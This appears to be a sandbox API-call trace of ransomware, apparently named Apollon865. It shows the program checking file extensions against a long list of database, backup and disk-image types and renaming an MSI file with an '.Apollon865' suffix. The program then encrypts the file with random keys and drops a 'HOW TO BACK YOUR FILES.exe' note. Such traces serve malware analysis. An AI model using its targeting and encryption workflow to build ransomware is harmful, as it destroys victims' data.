	[0072.015] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0072.015] lstrlenW (lpString="orx") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0072.015] lstrlenW (lpString="owc") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0072.015] lstrlenW (lpString="p96") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0072.015] lstrlenW (lpString="p97") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0072.015] lstrlenW (lpString="pan") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0072.015] lstrlenW (lpString="pdb") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0072.016] lstrlenW (lpString="pdm") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0072.016] lstrlenW (lpString="pnz") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0072.016] lstrlenW (lpString="qry") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0072.016] lstrlenW (lpString="qvd") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0072.016] lstrlenW (lpString="rbf") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0072.016] lstrlenW (lpString="rctd") returned 4
	[0072.016] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0072.016] lstrlenW (lpString="rod") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0072.016] lstrlenW (lpString="rodx") returned 4
	[0072.016] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0072.016] lstrlenW (lpString="rpd") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0072.016] lstrlenW (lpString="rsd") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0072.016] lstrlenW (lpString="sas7bdat") returned 8
	[0072.016] lstrcmpiW (lpString1="_x86.msi", lpString2="sas7bdat") returned -1
	[0072.016] lstrlenW (lpString="sbf") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0072.016] lstrlenW (lpString="scx") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0072.016] lstrlenW (lpString="sdb") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0072.016] lstrlenW (lpString="sdc") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0072.016] lstrlenW (lpString="sdf") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0072.016] lstrlenW (lpString="sis") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0072.016] lstrlenW (lpString="spq") returned 3
	[0072.016] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0072.017] lstrlenW (lpString="te") returned 2
	[0072.017] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0072.017] lstrlenW (lpString="teacher") returned 7
	[0072.017] lstrcmpiW (lpString1="x86.msi", lpString2="teacher") returned 1
	[0072.017] lstrlenW (lpString="tmd") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0072.017] lstrlenW (lpString="tps") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0072.017] lstrlenW (lpString="trc") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0072.017] lstrlenW (lpString="trc") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0072.017] lstrlenW (lpString="trm") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0072.017] lstrlenW (lpString="udb") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0072.017] lstrlenW (lpString="udl") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0072.017] lstrlenW (lpString="usr") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0072.017] lstrlenW (lpString="v12") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0072.017] lstrlenW (lpString="vis") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0072.017] lstrlenW (lpString="vpd") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0072.017] lstrlenW (lpString="vvv") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0072.017] lstrlenW (lpString="wdb") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0072.017] lstrlenW (lpString="wmdb") returned 4
	[0072.017] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0072.017] lstrlenW (lpString="wrk") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0072.017] lstrlenW (lpString="xdb") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0072.017] lstrlenW (lpString="xld") returned 3
	[0072.017] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0072.018] lstrlenW (lpString="xmlff") returned 5
	[0072.018] lstrcmpiW (lpString1="6.msi", lpString2="xmlff") returned -1
	[0072.018] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865") returned 150
	[0072.018] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.apollon865"), dwFlags=0x1) returned 1
	[0072.019] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0072.019] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=147456) returned 1
	[0072.019] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0072.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0072.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0072.020] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0072.020] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0072.020] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.021] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24300, lpName=0x0) returned 0x15c
	[0072.022] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24300) returned 0x120000
	[0072.032] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0072.032] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0072.032] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0072.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0072.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0072.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0072.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.033] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0072.034] CloseHandle (hObject=0x15c) returned 1
	[0072.034] CloseHandle (hObject=0x100) returned 1
	[0072.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0072.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0072.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0072.035] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0072.035] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0072.035] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c50
	[0072.035] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0072.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb10 | out: hHeap=0x580000) returned 1
	[0072.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0072.036] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 71
	[0072.036] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0072.036] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.036] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0072.036] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.036] GetLastError () returned 0x0
	[0072.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0072.036] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0072.037] CloseHandle (hObject=0xc0) returned 1
	[0072.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0072.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.037] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0072.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.037] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.037] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.037] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.037] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.037] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.037] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.037] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5c66f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.037] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.037] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0072.037] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.037] lstrcmpiW (lpString1="state.rsm", lpString2="Apollon865.txt.exe") returned 1
	[0072.037] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1
	[0072.037] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1
	[0072.037] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1
	[0072.037] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1
	[0072.037] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1
	[0072.038] lstrlenW (lpString="state.rsm") returned 9
	[0072.038] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned 73
	[0072.038] lstrcpyW (in: lpString1=0x119e698, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0072.038] lstrlenW (lpString="state.rsm") returned 9
	[0072.038] lstrlenW (lpString="Apollon865") returned 10
	[0072.038] lstrlenW (lpString=".dll") returned 4
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0072.038] lstrlenW (lpString=".lnk") returned 4
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0072.038] lstrlenW (lpString=".ini") returned 4
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0072.038] lstrlenW (lpString=".sys") returned 4
	[0072.038] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0072.038] lstrlenW (lpString="state.rsm") returned 9
	[0072.038] lstrlenW (lpString="bak") returned 3
	[0072.038] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1
	[0072.038] lstrlenW (lpString="ba_") returned 3
	[0072.038] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1
	[0072.038] lstrlenW (lpString="dbb") returned 3
	[0072.038] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1
	[0072.038] lstrlenW (lpString="vmdk") returned 4
	[0072.038] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1
	[0072.038] lstrlenW (lpString="rar") returned 3
	[0072.038] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1
	[0072.038] lstrlenW (lpString="zip") returned 3
	[0072.038] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1
	[0072.038] lstrlenW (lpString="tgz") returned 3
	[0072.038] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1
	[0072.038] lstrlenW (lpString="vbox") returned 4
	[0072.038] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1
	[0072.038] lstrlenW (lpString="vdi") returned 3
	[0072.038] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1
	[0072.039] lstrlenW (lpString="vhd") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1
	[0072.039] lstrlenW (lpString="vhdx") returned 4
	[0072.039] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1
	[0072.039] lstrlenW (lpString="avhd") returned 4
	[0072.039] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1
	[0072.039] lstrlenW (lpString="db") returned 2
	[0072.039] lstrcmpiW (lpString1="sm", lpString2="db") returned 1
	[0072.039] lstrlenW (lpString="db2") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1
	[0072.039] lstrlenW (lpString="db3") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1
	[0072.039] lstrlenW (lpString="dbf") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1
	[0072.039] lstrlenW (lpString="mdf") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1
	[0072.039] lstrlenW (lpString="mdb") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1
	[0072.039] lstrlenW (lpString="sql") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1
	[0072.039] lstrlenW (lpString="sqlite") returned 6
	[0072.039] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1
	[0072.039] lstrlenW (lpString="sqlite3") returned 7
	[0072.039] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1
	[0072.039] lstrlenW (lpString="sqlitedb") returned 8
	[0072.039] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1
	[0072.039] lstrlenW (lpString="xml") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1
	[0072.039] lstrlenW (lpString="$er") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1
	[0072.039] lstrlenW (lpString="4dd") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1
	[0072.039] lstrlenW (lpString="4dl") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1
	[0072.039] lstrlenW (lpString="^^^") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1
	[0072.039] lstrlenW (lpString="abs") returned 3
	[0072.039] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1
	[0072.040] lstrlenW (lpString="abx") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1
	[0072.040] lstrlenW (lpString="accdb") returned 5
	[0072.040] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1
	[0072.040] lstrlenW (lpString="accdc") returned 5
	[0072.040] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1
	[0072.040] lstrlenW (lpString="accde") returned 5
	[0072.040] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1
	[0072.040] lstrlenW (lpString="accdr") returned 5
	[0072.040] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1
	[0072.040] lstrlenW (lpString="accdt") returned 5
	[0072.040] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1
	[0072.040] lstrlenW (lpString="accdw") returned 5
	[0072.040] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1
	[0072.040] lstrlenW (lpString="accft") returned 5
	[0072.040] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1
	[0072.040] lstrlenW (lpString="adb") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0072.040] lstrlenW (lpString="adb") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0072.040] lstrlenW (lpString="ade") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1
	[0072.040] lstrlenW (lpString="adf") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1
	[0072.040] lstrlenW (lpString="adn") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1
	[0072.040] lstrlenW (lpString="adp") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1
	[0072.040] lstrlenW (lpString="alf") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1
	[0072.040] lstrlenW (lpString="ask") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1
	[0072.040] lstrlenW (lpString="btr") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1
	[0072.040] lstrlenW (lpString="cat") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1
	[0072.040] lstrlenW (lpString="cdb") returned 3
	[0072.040] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1
	[0072.041] lstrlenW (lpString="ckp") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1
	[0072.041] lstrlenW (lpString="cma") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1
	[0072.041] lstrlenW (lpString="cpd") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1
	[0072.041] lstrlenW (lpString="dacpac") returned 6
	[0072.041] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1
	[0072.041] lstrlenW (lpString="dad") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1
	[0072.041] lstrlenW (lpString="dadiagrams") returned 10
	[0072.041] lstrlenW (lpString="daschema") returned 8
	[0072.041] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1
	[0072.041] lstrlenW (lpString="db-journal") returned 10
	[0072.041] lstrlenW (lpString="db-shm") returned 6
	[0072.041] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1
	[0072.041] lstrlenW (lpString="db-wal") returned 6
	[0072.041] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1
	[0072.041] lstrlenW (lpString="dbc") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1
	[0072.041] lstrlenW (lpString="dbs") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1
	[0072.041] lstrlenW (lpString="dbt") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1
	[0072.041] lstrlenW (lpString="dbv") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1
	[0072.041] lstrlenW (lpString="dbx") returned 3
	[0072.041] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1
	[0072.041] lstrlenW (lpString="dcb") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1
	[0072.042] lstrlenW (lpString="dct") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1
	[0072.042] lstrlenW (lpString="dcx") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1
	[0072.042] lstrlenW (lpString="ddl") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1
	[0072.042] lstrlenW (lpString="dlis") returned 4
	[0072.042] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1
	[0072.042] lstrlenW (lpString="dp1") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1
	[0072.042] lstrlenW (lpString="dqy") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1
	[0072.042] lstrlenW (lpString="dsk") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1
	[0072.042] lstrlenW (lpString="dsn") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1
	[0072.042] lstrlenW (lpString="dtsx") returned 4
	[0072.042] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1
	[0072.042] lstrlenW (lpString="dxl") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1
